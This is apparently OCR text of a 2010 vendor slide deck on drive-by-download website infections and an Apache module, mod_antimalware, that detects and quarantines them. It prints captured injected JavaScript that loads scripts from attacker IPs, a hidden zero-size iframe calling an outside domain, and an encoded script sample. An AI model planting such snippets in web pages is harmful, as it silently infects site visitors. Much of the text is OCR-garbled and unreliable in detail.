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Drive-by-Downloads

1) Inject legitimate web page with malicious code
(e.g., JavaScript, IFRAME, etc) OR direct user to
Infected web page (e.g. fake anti-virus or phishing).

2) Invoke client-side vulnerability (e.g., IE zero-day,
PDF exploit, etc) OR use social engineering

3) Deliver shellcode to take control
4) Send “downloader”

H'\.

"5) Deliver malware of attackers choice
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The Challenge for Websites: Many Ways to

Get Infected
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Example Injected Javascript
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Example Executed Javascript

//...<div style=display:none>

document.write("</textarea>");var i, ,a
=["218.93.202.61","78.110.175.21"]; =1;i
f (document .cookie.match(/\bhgft=1/)==null
)for(i=0;i<2;i++)document.write("<script>i
f(_)document.write(\"<script id=_"+i+"_
srce=//"+a[i]+"/ep/><\\/script>\")<\
/script>");

//</div>
which produces...

<script>if(_ )document.write("<script id= 0

src=//218.93.202.61/cp/><\/script>")<
/script>
. . mn ¥ - — 1

sre=//78.110.175.21/cp/><\/script>")<"

/script>



Example Executed Javascript

<scriptid= 0 src=//218.93.202.61/cp/></script>
<scriptid= 1 src=//78.110.175.21/cp/></script>

e Sources in malicious javascript from a compromised IP!

 Infects user's machine silently
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Malware Attacks Hurt

2% Web Shield alert ==

Accessed file is infected

Ofiice Hardware Security Cell Phone

Servers & Storage

P Threat detected! Septamber 14, 2000 .49 A
ﬂ s NYTimes.com Warns of Malware on

Threat name:  Explott Neosploit =
More information about this threat Site
By Robert McMillan, IDG News Service @ Print 29 Digg i Twitter Facebook (B3 More.

Online scammers have apparently found a new way to reach their marks: They've started

running ads on the Web site of The New York Times.

Hide details The newspaper warned readers Sunday that so-called
rogue antivirus sellers had been spotted on its Web site,
Process name: C:\Program Files (x86)\Firefoxifirefox exe NYTimes.com. Their products, ofien promoted by Eastern

Process ID; 4140 1 criminal org; 1s, are either ir or
actually end up infecting the computers of people who
purchase them.
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Web [ Show options..

Orlando News. Daytona Beach, Cenfral Florida News, Weather ...

This site may harm your computer.

Visit WESH.com for breaking news in Orlando, FL from WESH. Orlando breaking news,
headlines, weather. and sports. Local news for Orlando, Daytona Beach. ...
wwow . wesh.com/ - Similar -
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Infection Library

Dasient's malware infection library catalogs web-based malware from across the Internet. Check
this page for information about the latest threats.

Infections Cataloged to Date: == Protect Yourself
Moniter Your Site
125,368 LN
This Week's Top Infections Infection Library Growth
Top malware infections for the past week. Mumber of cataloged infections for the week
Rank Name Type Discovery Date {35571
1. webphoto 15 2010-04-10
2. arb-star 15 2010-04-15 adas
3. allowebcam 15 2010-04-11
4. kurtulusgida IFRAME 2010-04-15
5. google-banner IFRAME 2010-04-16 1zl
6. srungaram 15 2008-06-17
7. adsanalytics IFRAME 2010-04-19 184700
8. wowtribes IFRAME 2010-02-10 I I
9. scanonlinedirect s 2009-07-26 13181 s a4 4115 a6 417 4118 a1
10. pgoldisoverfotoday IFRAME 2010-04-03
11. kpitcummins IFRAME 2010-04-17
12. wisenut.co Is 2010-04-17 Latest Tweets
13. bleesher 15 2010-04-12 Follow us on Twitter for Infection
e updates
14, arcticawholesale 15 2010-04-08 « "IFRAME/google-banner -
15. seomantra 5 2010-04-15 http: //bit.ly/cASssa" about 11 hours ago
16. _goldflews Is 2010-04-18 + "IFRAME /baidustatz —
" SCPD July 09 Webinar.ppt - 7" Draft for Aaron.ppt o E| scanalert_company_ov.._.pdf ~ E| scanalert_company_ov....pdf ~ E| scanalert_company_ov...pdf ~ u Show all downloads... =
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Infection Details

MD5: faD6e95b28c95441d6cle237c387fb42
Infection Type: IFRAME

Description: A malicious IFRAME can source in content from web
pages that attempt to fingerprint and exploita
browser vulnerability or client/OS vulnerability to
cause a drive-by-download. Such IFRAMEs are
typically invisible to users.

Code Length: 87 bytes
Code Sample:

<iframe src=http://google-banner.info/ts/out.php?s
_id=1 width=0 height=0 frameborder=0>

Copyright © 2010 Dasient, Inc. All rights reserved

= SCPD July 09 Webinar.ppt ~

Infection Library Home

"= Draft for Aaron.ppt - E| scanalert_company_ov....pdf ~ |__-f| scanalert_company_ov....pdf ~ E| scanalert_company_ov....pdf ~

=  Protect Yourself

Monitor Your Site

I

N

Home | Feedback | Privacy policy | Terms of service

Partner Center | User Center | Infection Library

3 show all downloads... *




Problem: How to Provides the Complete Lifecycle of
Malware Protection for Web Sites?

Assess

e.g., “Defense-In-Depth”

Prevent

security problem?

I We”’ yeS and no...

Contain



Problem: How to Provides the Complete Lifecycle of
Malware Protection for Web Sites?

Assess

e.g., “Defense-In-Depth”

Prevent
______ Is this really a browser

security problem?

vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv ; Well, yes and no...

Contain

Assure
| e Dasient



Why Is protecting web sites
from drive-bys hard?

Need to bring “lifecycle” of protection to the web

Need to “root cause” what code on the page caused
the problem

Need to be able to parse page in real time and strip
out infection. (Could be coming from anywhere—
file, DB, etc)

\\t@d to do so with high performance
\ S, G Dasient
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thejumpbeat.com/

Blacklisted on: Dasient WAM can help:
Cogle @ ® 9

Get help in removing these
infections

Quick Scan Results Get an in-depth, FULL Scan and

1 infected page identify all infected pages
found so far Frequent malware scans of your

site
Immediate alerts of malware
activity

1 shown below

Expand each URL below to see the known or malicious code on the
page:

B http://thejumpbeat.com/
<script
language="JavaScript">document.write(unescapex 3CxEF =B\ 72\ %6 1'% B0\ x 65\ 20\

— I

Corporate Home | Feedback | Privacy policy | Terms of service

Copyright @ 2010 Dasient, Inc. All rights reserved Partner Center Infection Library

drill-down.ppt T | SANS4_29_10_FINAL (3).ppt = |77 SANS 4_29_10_FINAL (2).ppt ~ u Show all downloads.., *
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Detection

e Goal: Extract “root cause” of malcode

<script src="http://external.com/a.js">

<iframe src:“http://badddmain.com”>
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Mod_antimalware Architecture

o \t Monitor
Crawler '
Content
analyzers
= Web Server
Malware
analyzers
Reporting / Ul Mod antimalware
' A
_______ “'s.,r‘_‘ Y PP |
™ Scanning servers

b @ Quarantine [y ~ . .
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Mod_antimalware Implementation
Apache module (lIS also). Output filter.
Two versions: standard & lite (open-source)

Configuration Directives

Restart-free Reconfiguration (via Shared
Memory) + Persistence
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Mod_antimalware Implementation

Authentication

Partner Center: mod_antimalware

You are logged in as Meil Daswani (neil+googi@dasient.com).
Submit Domains | Blacklist Report | Monetization Tools | Sales | mod_antimalware lite | API | Logout

Installation | Activation Keys | Quarantining Status

Activation Keys:

Webserver DasientSharedAuthKey Enabled? Status Enable/Disable Version
TryMeRWIhtwuxyYaphFrxGa5 LAt - ry

EEpOE LBL99gSSyaBevUolUFvWurvvges o g S

Quarantining Verification
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Without Mod_Antimalware
T=0 T=n days

Site Discover Diagnose Contain Remove
attacked

Unknowmgly Technical ode
infecting users

Company at risk of | 0 S| Sto m r even u

With Mod_Antimalware
T=0 T=m hours

Significantly reduce
reaction time

L e (M hours <<n days),,,,,;v...,w
Contain -

Site | Remove
ttacked Discover +
Diagnose *

* - No time lag between Discover, Diagnose and

in with Auto-Containment enabled
Dasient
) =
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Future Work

(open-source projects available)
Virtual Host Support
Certificate-based mutual authentication

Automatic deployment of quarantining
directives
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